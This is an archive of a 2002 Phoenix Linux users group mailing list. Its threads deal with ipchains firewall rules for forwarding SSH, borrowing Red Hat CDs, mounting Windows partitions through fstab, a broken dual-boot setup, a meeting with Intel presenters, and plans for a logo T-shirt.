Jun 11 14:07:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (Steve Holmes) Date: Tue, 11 Jun 2002 07:07:39 -0700 Subject: SSH and Firewalls? Message-ID: <20020611070735.A1557@lnx3.holmesgrown.com> Question about running ssh over a masqueraded network: I have a linux box that serves as the "point" machine for my network on which I forward ports with ipchains (2.2 kernel) to to inside amachines which each run sshd. My outside machine currently is not running ssh yet. If the default policy on my input chain is ACCEPT, I can successfully forward non standard ports through to specific machines an establish ssh sessions on them with no problems. If I default the input chain to DENY, as is done in endoshield script, The connections time out and I cannot connect. In both cases, I forward the same ports. Bottom line, If I use endoshield and add on the ipfwadm commands to forward the ports mentioned above, connections time out; If I do not use endoshield but use a simpler script that basically leaves the input chain wide open, I can establish the ssh sessions - no problem. Any ideas out there, dispite this confusing message? From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 11:46:20 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Wed, 12 Jun 2002 07:46:20 -0400 (EDT) Subject: InstallFest Questionnaire? Message-ID: Has there been any thought about a customer feedback questionnaire for the InstallFest? ------------------------------------------------------------------- "What can Americans do to stay safe after these attacks?" "Buckle your seat-belt and quit smoking." ------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 13:27:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 12 Jun 2002 06:27:50 -0700 Subject: SSH and Firewalls? In-Reply-To: <20020611070735.A1557@lnx3.holmesgrown.com> References: <20020611070735.A1557@lnx3.holmesgrown.com> Message-ID: <1023888470.9454.2.camel@barney.azapple.com> On Tue, 2002-06-11 at 07:07, Steve Holmes wrote: > Question about running ssh over a masqueraded network: > > I have a linux box that serves as the "point" machine for my network > on which I forward ports with ipchains (2.2 kernel) to to inside > amachines which each run sshd. My outside machine currently is not > running ssh yet. If the default policy on my input chain is ACCEPT, I > can successfully forward non standard ports through to specific > machines an establish ssh sessions on them with no problems. If I > default the input chain to DENY, as is done in endoshield script, The > connections time out and I cannot connect. In both cases, I forward > the same ports. > > Bottom line, If I use endoshield and add on the ipfwadm commands to > forward the ports mentioned above, connections time out; If I do not > use endoshield but use a simpler script that basically leaves the > input chain wide open, I can establish the ssh sessions - no problem. ---- been a while since I used ipchains and not seeing your script, what I think is happening is that the input chains are considered before your forward chains and thus if you policy is to DENY, then the packets are denied before they ever hit the 'forward' chains. Why not specifically allow the specific ports/ip addresses on input rules and let the forward handle where they are going? The same considerations would probably have to be given to 'output' rules. Lastly and perhaps most importantly - all the logging rule so you can inspect your logs to see which rule is specifically blocking your attempts. Craig From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 20:54:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dan Lund) Date: Tue, 11 Jun 2002 13:54:05 -0700 Subject: This is going to sound really stupid but Message-ID: <200206111354.05153.dan_lund@hotmail.com> I have a question.. How do I unsubscribe, so that I can subscribe again? I'm not in the database (my email address isn't) of people who are subscribed, but I get the list (explain that one?) and I need to get off of this digest-style mailing preference! help :) From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 20:08:28 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Tue, 11 Jun 2002 16:08:28 -0400 Subject: test Message-ID: <20020611200830.DCMI29627.lakemtao01.cox.net@smtp.east.cox.net> test From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 20:23:32 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mark Phillips) Date: Tue, 11 Jun 2002 16:23:32 -0400 Subject: Redhat 7.3 CDs Message-ID: <20020611202334.WRXC4949.lakemtao04.cox.net@smtp.east.cox.net> Does anyone have a set of Redhat 7.3 CDs I could borrow? My work laptop was stolen and I need to rebuild an old laptop with 7.3 for a project I am working on. I know the install fest is coming up (I had intended upgrading this old machine then, but the loss of my work computer has accelerated my need!). I have 7.0 running on my old laptop (Dell Inspiron 3000). When I tried to install 7.1 from the CDs the install failed. I am hoping 7.3 will work better. I live in Scottsdale if there is someone close by, but I am willing to drive across the valley get this machine up and running to back to work! Thanks! Mark Mark Phillips Phillips Marketing, Inc. 480.945.0798 480.945.9197 fax mark@phillipsmarketing.biz From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 14:24:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Wed, 12 Jun 2002 07:24:10 -0700 Subject: test Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B47A@mail.int.fh.org> You might want to change your font! -----Original Message----- From: phillipsm@cox.net [mailto:phillipsm@cox.net] Sent: Tuesday, June 11, 2002 1:08 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: test This message uses a character set that is not supported by the Internet Service. To view the original message content, open the attached message. If the text doesn't display correctly, save the attachment to disk, and then open it using a viewer that can display the original character set. From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 14:28:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Wed, 12 Jun 2002 07:28:07 -0700 Subject: This is going to sound really stupid but Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B47B@mail.int.fh.org> Follow the directions on he link at the bottom of each message. There is an unsubscribe spot on that page. You may be one of the handful subscribers who have chosen to have their info hidden. -----Original Message----- From: Dan Lund [mailto:dan_lund@hotmail.com] Sent: Tuesday, June 11, 2002 1:54 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: This is going to sound really stupid but I have a question.. How do I unsubscribe, so that I can subscribe again? I'm not in the database (my email address isn't) of people who are subscribed, but I get the list (explain that one?) and I need to get off of this digest-style mailing preference! help :) ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 15:42:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (jtannenba) Date: Wed, 12 Jun 2002 08:42:18 -0700 (PDT) Subject: Fwd: SSH and Firewalls? Message-ID: <20020612154218.54283.qmail@web13908.mail.yahoo.com> I think you meant this to go to the plug list... Joe --- Steve Holmes wrote: > From: Steve Holmes > To: speakup@braille.uwo.ca > Subject: SSH and Firewalls? > Date: Tue, 11 Jun 2002 07:07:39 -0700 > > Question about running ssh over a masqueraded > network: > > I have a linux box that serves as the "point" > machine for my network > on which I forward ports with ipchains (2.2 kernel) > to to inside > amachines which each run sshd. My outside machine > currently is not > running ssh yet. If the default policy on my input > chain is ACCEPT, I > can successfully forward non standard ports through > to specific > machines an establish ssh sessions on them with no > problems. If I > default the input chain to DENY, as is done in > endoshield script, The > connections time out and I cannot connect. In both > cases, I forward > the same ports. > > Bottom line, If I use endoshield and add on the > ipfwadm commands to > forward the ports mentioned above, connections time > out; If I do not > use endoshield but use a simpler script that > basically leaves the > input chain wide open, I can establish the ssh > sessions - no problem. > > Any ideas out there, dispite this confusing message? > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml > if your mail doesn't post to the list quickly and > you use Netscape to write mail. > > PLUG-discuss mailing list - > PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 16:28:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Wed, 12 Jun 2002 09:28:58 -0700 (PDT) Subject: Redhat 7.3 CDs In-Reply-To: <20020611202334.WRXC4949.lakemtao04.cox.net@smtp.east.cox.net> Message-ID: Stop by New Vision and I'll give you a RH 7.3 CD set. 1920 E Broadway Rd Tempe, AZ On Tue, 11 Jun 2002, Mark Phillips wrote: > Does anyone have a set of Redhat 7.3 CDs I could borrow? My work laptop was stolen and I need to rebuild an old laptop with 7.3 for a project I am working on. > > I know the install fest is coming up (I had intended upgrading this old machine then, but the loss of my work computer has accelerated my need!). > > I have 7.0 running on my old laptop (Dell Inspiron 3000). When I tried to install 7.1 from the CDs the install failed. I am hoping 7.3 will work better. > > I live in Scottsdale if there is someone close by, but I am willing to drive across the valley get this machine up and running to back to work! > > Thanks! > > Mark > > > Mark Phillips > Phillips Marketing, Inc. > 480.945.0798 > 480.945.9197 fax > mark@phillipsmarketing.biz > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 15:48:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (Eric Richardson) Date: Wed, 12 Jun 2002 08:48:54 -0700 Subject: New Notebook Recommendations? References: <200206111223.47899.voltage_spike@fastmail.fm> Message-ID: <3D076D66.4060500@milagrosoft.com> Logan Kennelly wrote: > I am looking into buying a new notebook computer for use as a > general-purpose machine. One of my primary uses on the old laptop was > for testing new *nix systems (FreeBSD, various distributions of Linux, > etc.). > > I am considering buying from PC Club (www.pcclub.com), but if anybody > else has any suggestions, I am willing to listen. Considering looking at this site but pardon the flashing gif-somebody trying to make money I guess. http://www.linux-laptop.net/ I saw a nice looking HP book at price club for 1500 but didn't write down the model. Hope this helps, Eric From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 16:58:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Wed, 12 Jun 2002 09:58:39 -0700 Subject: Plug logo Message-ID: <200206120958.39618.zen2now@qwest.net> good morning plug, hope this request doesnt offend anyone, but i was wondering is there any way i could get my hands on a Plug Logo T-Shirt? I love the logo, "A Penguin in the Desert". slr From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 17:19:57 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Wed, 12 Jun 2002 10:19:57 -0700 Subject: Thursday Meeting? Message-ID: <200206121019.57327.voltage_spike@fastmail.fm> Being new to the PLUG, I don't know how things work. The website claims that there is no planned topic of discussion. Will there still be a meeting? -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 17:26:06 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Wed, 12 Jun 2002 10:26:06 -0700 Subject: Plug logo In-Reply-To: <200206120958.39618.zen2now@qwest.net> References: <200206120958.39618.zen2now@qwest.net> Message-ID: <02061210260612.08309@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Great idea. All we need to do is get someone to get the logo ready for screening, find someone to make the tshirts, and someone to cover the cost of having them made. OTOH, if you have the connections, by all means investigate it and lets see if we can get it done ;) On Wednesday 12 June 2002 09:58, you wrote: > good morning plug, > > hope this request doesnt offend anyone, but i > was wondering is there any way i could get my hands on a Plug Logo T-Shirt? > I love the logo, "A Penguin in the Desert". > > slr > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPQeELisk3ywszI1FEQIHAgCdHWB5vYQRGvbjjSJOXrYtHQsl8I0AoMgY kBumg9lr/hCgTiM+jPaCj8w/ =9O71 -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 17:38:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Wed, 12 Jun 2002 13:38:00 -0400 Subject: Thursday Meeting? Message-ID: I am sorry that the web site is out of date. YES, we are having a meeting. Representatives from Intel will be presenting on how they use Linux within the company. IT infrastructure, mult-machine building, clustering, and desktop use will be discussed. I confirmed with them by phone yesterday. They will be bringing stuff to giveaway too! I hope you can be there. Alan On Wed, 12 Jun 2002 10:19:57 -0700 Logan Kennelly wrote: Being new to the PLUG, I don't know how things work. The website claims that there is no planned topic of discussion. Will there still be a meeting? -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 17:40:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Wed, 12 Jun 2002 10:40:05 -0700 Subject: Redhat 7.3 CDs Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B483@mail.int.fh.org> If you are in either the NW valley or near the Scottsdale airpark I can make a set for you. -----Original Message----- From: Matt Alexander [mailto:m@netpro.to] Sent: Wednesday, June 12, 2002 9:29 AM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Redhat 7.3 CDs Stop by New Vision and I'll give you a RH 7.3 CD set. 1920 E Broadway Rd Tempe, AZ On Tue, 11 Jun 2002, Mark Phillips wrote: > Does anyone have a set of Redhat 7.3 CDs I could borrow? My work laptop was stolen and I need to rebuild an old laptop with 7.3 for a project I am working on. > > I know the install fest is coming up (I had intended upgrading this old machine then, but the loss of my work computer has accelerated my need!). > > I have 7.0 running on my old laptop (Dell Inspiron 3000). When I tried to install 7.1 from the CDs the install failed. I am hoping 7.3 will work better. > > I live in Scottsdale if there is someone close by, but I am willing to drive across the valley get this machine up and running to back to work! > > Thanks! > > Mark > > > Mark Phillips > Phillips Marketing, Inc. > 480.945.0798 > 480.945.9197 fax > mark@phillipsmarketing.biz > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 17:46:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt) Date: Wed, 12 Jun 2002 10:46:13 -0700 Subject: How to access Windows files from Linux References: <200206121825.g5CIP3227739@PlugList.MyButt.Net> Message-ID: <000501c21239$0bd48c70$6401a8c0@mattxp> I just recently installed Linux and XP on the same HD - partitioned half and half on my 80 gig. In the past with older versions of Windows I've seen an icon appear for the C: drive on my (KDE) desktop, but not this time. How do I view the Windows files? I'm using SuSE Linux 8.0. From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 17:54:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Wed, 12 Jun 2002 10:54:58 -0700 Subject: Thursday Meeting? In-Reply-To: <200206121019.57327.voltage_spike@fastmail.fm> References: <200206121019.57327.voltage_spike@fastmail.fm> Message-ID: <02061210545813.08309@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Intel is coming in to do a presentation at the meeting this month. On Wednesday 12 June 2002 10:19, you wrote: > Being new to the PLUG, I don't know how things work. The website claims > that there is no planned topic of discussion. Will there still be a > meeting? - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPQeK8ysk3ywszI1FEQIM4QCg+5PUdaj9VB0Toc1Q57l53L0JvIMAoOYu 5nksiCWk8oFq0BSo5CX/PKcn =kmM3 -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 17:58:33 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Wed, 12 Jun 2002 12:58:33 -0500 (CDT) Subject: Plug logo In-Reply-To: <02061210260612.08309@nova.wedge.org> Message-ID: The other option is CafePress.com. The product probably wont look as nice and you wont raise as much money, but there is no out of pocket cost. The way it works is you upload your images and design your product online at no cost. Then it creates a virtual store. Then you can buy products and a portion of each sale comes back to you. http://www.cafepress.com/cp/store/store.aspx?storeid=geekgoods is an example.... I would whip up some for plug, but unfortunately the image on the web site is... a. A .gif file (bad bad bad, i'm giving you a url to a .png version please fix the site to use the .png version) b. The .gif is so trashed it wont even open in gimp. (or gimp is that broken) -Derek Link to .png verison ( http://www.gnuenterprise.org/~dneighbo/plug.png ) Why .gif is bad ( http://burnallgifs.org/ ) On Wed, 12 Jun 2002, Jim wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Great idea. All we need to do is get someone to get the logo ready for > screening, find someone to make the tshirts, and someone to cover the cost of > having them made. > > OTOH, if you have the connections, by all means investigate it and lets see > if we can get it done ;) > > On Wednesday 12 June 2002 09:58, you wrote: > > good morning plug, > > > > hope this request doesnt offend anyone, but i > > was wondering is there any way i could get my hands on a Plug Logo T-Shirt? > > I love the logo, "A Penguin in the Desert". > > > > slr > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > - -- > Jim > > Freedom is worth protecting > > -----BEGIN PGP SIGNATURE----- > Version: PGP 6.5.8 > > iQA/AwUBPQeELisk3ywszI1FEQIHAgCdHWB5vYQRGvbjjSJOXrYtHQsl8I0AoMgY > kBumg9lr/hCgTiM+jPaCj8w/ > =9O71 > -----END PGP SIGNATURE----- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 18:02:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Wed, 12 Jun 2002 11:02:29 -0700 Subject: Plug logo References: <200206120958.39618.zen2now@qwest.net> <02061210260612.08309@nova.wedge.org> Message-ID: <3D078CB5.AB146643@leml.asu.edu> Jim wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Great idea. All we need to do is get someone to get the logo ready for > screening, find someone to make the tshirts, and someone to cover the cost of > having them made. to bad my silkscreen press is in NM and I am in the middle of finishing up my thesis... I used to print the legends on PC boards in a fab shop. Later I also printed T-shirts, posters, and tile. EBo -- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 18:18:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Wed, 12 Jun 2002 11:18:01 -0700 Subject: Plug logo Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B489@mail.int.fh.org> If someone can get them made, we could use the "For Sale" site Kimi has on unitywave.com to sell/distribute them. -----Original Message----- From: Derek Neighbors [mailto:derek@gnue.org] Sent: Wednesday, June 12, 2002 10:59 AM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Plug logo The other option is CafePress.com. The product probably wont look as nice and you wont raise as much money, but there is no out of pocket cost. The way it works is you upload your images and design your product online at no cost. Then it creates a virtual store. Then you can buy products and a portion of each sale comes back to you. http://www.cafepress.com/cp/store/store.aspx?storeid=geekgoods is an example.... I would whip up some for plug, but unfortunately the image on the web site is... a. A .gif file (bad bad bad, i'm giving you a url to a .png version please fix the site to use the .png version) b. The .gif is so trashed it wont even open in gimp. (or gimp is that broken) -Derek Link to .png verison ( http://www.gnuenterprise.org/~dneighbo/plug.png ) Why .gif is bad ( http://burnallgifs.org/ ) On Wed, 12 Jun 2002, Jim wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Great idea. All we need to do is get someone to get the logo ready for > screening, find someone to make the tshirts, and someone to cover the cost of > having them made. > > OTOH, if you have the connections, by all means investigate it and lets see > if we can get it done ;) > > On Wednesday 12 June 2002 09:58, you wrote: > > good morning plug, > > > > hope this request doesnt offend anyone, but i > > was wondering is there any way i could get my hands on a Plug Logo T-Shirt? > > I love the logo, "A Penguin in the Desert". > > > > slr > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > - -- > Jim > > Freedom is worth protecting > > -----BEGIN PGP SIGNATURE----- > Version: PGP 6.5.8 > > iQA/AwUBPQeELisk3ywszI1FEQIHAgCdHWB5vYQRGvbjjSJOXrYtHQsl8I0AoMgY > kBumg9lr/hCgTiM+jPaCj8w/ > =9O71 > -----END PGP SIGNATURE----- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 18:20:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Wed, 12 Jun 2002 11:20:40 -0700 Subject: How to access Windows files from Linux In-Reply-To: <000501c21239$0bd48c70$6401a8c0@mattxp> References: <200206121825.g5CIP3227739@PlugList.MyButt.Net> <000501c21239$0bd48c70$6401a8c0@mattxp> Message-ID: <200206121120.40136.voltage_spike@fastmail.fm> On Wednesday 12 June 2002 10:46 am, Matt wrote: > I just recently installed Linux and XP on the same HD - partitioned half > and half on my 80 gig. In the past with older versions of Windows I've > seen an icon appear for the C: drive on my (KDE) desktop, but not this > time. How do I view the Windows files? I'm using SuSE Linux 8.0. What does your /etc/fstab file look like? Is the drive formatted with NTFS or FAT32? It will work with either case, but the former is read-only. The line you are looking for in fstab will appear similar to: /dev/hda1 /mnt/windows vfat iocharset=iso8859-1,umask=0,codepage=850 0 0 or /dev/hda1 /mnt/windows ntfs uid=,gid=,ro 0 0 Depending on which file system you have. Also of note is that the directory /mnt/windows must exist. -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 18:34:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Wed, 12 Jun 2002 11:34:30 -0700 Subject: Just to set the record straight Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B48A@mail.int.fh.org> > --5 June 2002 Microsoft Admits Contribution to Think Tank That > Published Anti Open-Source Paper > Microsoft admits that it provides funding to the Alexis de Tocqueville > Institution, the think tank that recently released a white paper that > maintains open source software is not secure and that government > should instead use proprietary software. The Institution will not > comment on specific funding for the report. > http://www.wired.com/news/business/0,1367,52973,00.html > [Editor's (Paller) Note: Last year, the same think tank published a > paper extolling the benefits of Microsoft's certification programs.] > From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 19:07:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Wed, 12 Jun 2002 12:07:59 -0700 Subject: Plug logo In-Reply-To: <200206120958.39618.zen2now@qwest.net> References: <200206120958.39618.zen2now@qwest.net> Message-ID: <200206121207.59399.zen2now@qwest.net> On Wednesday 12 June 2002 09:58 am, slr wrote: oh my, i thought you guys may have already done this and had some laying around. so now i have a mission, i will let you guys know what i come up with. but the image is a gif, so i am off to the graphics department to see if they can help us. slr > good morning plug, > > hope this request doesnt offend anyone, but i > was wondering is there any way i could get my hands on a Plug Logo T-Shirt? > I love the logo, "A Penguin in the Desert". > > slr > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 19:34:22 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Wed, 12 Jun 2002 12:34:22 -0700 Subject: Plug logo In-Reply-To: References: Message-ID: <02061212342215.08309@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Thanks for the png of the plug logo. I replaced all the plug gifs on the Install Fest web site with the png versions. I will use it whenever I can now. Btw, how did you open the gif to convert it? GIMP wouldnt open it for me either. On Wednesday 12 June 2002 10:58, you wrote: > > Link to .png verison ( http://www.gnuenterprise.org/~dneighbo/plug.png ) - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPQeiPisk3ywszI1FEQJB3ACeKYtOUPSJyX0G90K21a3ZdJzznzUAni+a j0Zm3MHWbj8iXsieflIbY5tp =+u6q -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 18:53:03 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Wed, 12 Jun 2002 14:53:03 -0400 (EDT) Subject: Plug logo In-Reply-To: <02061212342215.08309@nova.wedge.org> Message-ID: On Wed, 12 Jun 2002, Jim wrote: > Btw, how did you open the gif to convert it? GIMP wouldnt open it for me > either. When I need to do this I just take a screenshot of mozilla. Kind of brute force, but it works. From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 20:16:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mark Berkwitt) Date: Wed, 12 Jun 2002 13:16:50 -0700 Subject: I created a new fat32 partition from free space, now my dual boot W2K/Mandrake won't boot. In-Reply-To: Message-ID: Thanks for the help. -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Mark Berkwitt Sent: Tuesday, June 11, 2002 7:15 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: RE: I created a new fat32 partition from free space, now my dual boot W2K/Mandrake won't boot. I'm trying to use the update installation to Mandrake 8.2 to fix the problem; it's uncooporative. -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Mark Berkwitt Sent: Tuesday, June 11, 2002 3:34 PM To: PLUG Subject: I created a new fat32 partition from free space, now my dual boot W2K/Mandrake won't boot. I created a new fat32 partition from free space on my 40GB hdd. Now my dual boot W2K/Mandrake won't boot. I used the "Disk Manager" feature in W2K Pro to create a fat32 partition. It complained that another program was using the hdd or something but I managed to format it anyway and use it within W2K. Now I can't start my linux installation. The W2K still boots. This is my partition map: Primary HTFS 7.81GB Extended 494MB / ext2 or ext3 243MB swap 2.93GB ? ext? 4.6GB /home ext? 3.91GB fat32 << Here's the new one I just made. (G:) 14GB FREE 3.91GB fat32 << Old part. for sharing .mp3 and transfering between OSs. (F:) Here is my error message: Activating swap partitions: swapon: /dev/hda7: Invalid argument [FAILED] Finding module dependencies [OK] Checking filesystems /dev/hda9: The superblock could not be read or does not describe a correct ext2 filesystem. If the device is valid and it really contains an ext2 filesystem (and not a swap or ufs or something else), then the superblock is corrupt, and you might try running e2fsck with an alternate superblodk: e2fsck -b 8193 fsck.ext3: Bad magic number in super-block while trying to open /dev/hda9 /dev/hda8: clean, 587/602656 files, 29306/1204867 Failed to check filesystem. Do you want to repair the errors? (Y/N) (beware, you can lose data) I tried deleting the newly created fat32 but my Mandrake 8.1 still won't start. ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 20:18:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (foodog) Date: Wed, 12 Jun 2002 13:18:13 -0700 Subject: Thursday Meeting? References: Message-ID: <3D07AC85.35466B3B@pop.phnx.uswest.net> Alan, are they going to mosey out West too? Steve alandd@mindspring.com wrote: > > I am sorry that the web site is out of date. > > YES, we are having a meeting. Representatives from Intel will be presenting on how they use Linux within the company. IT infrastructure, mult-machine building, clustering, and desktop use will be discussed. I confirmed with them by phone yesterday. > > They will be bringing stuff to giveaway too! I hope you can be there. > > Alan > > On Wed, 12 Jun 2002 10:19:57 -0700 Logan Kennelly wrote: > > Being new to the PLUG, I don't know how things work. The website claims > that there is no planned topic of discussion. Will there still be a > meeting? > > -- > Logan Kennelly > ,,, > (. .) > --ooO-(_)-Ooo-- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > 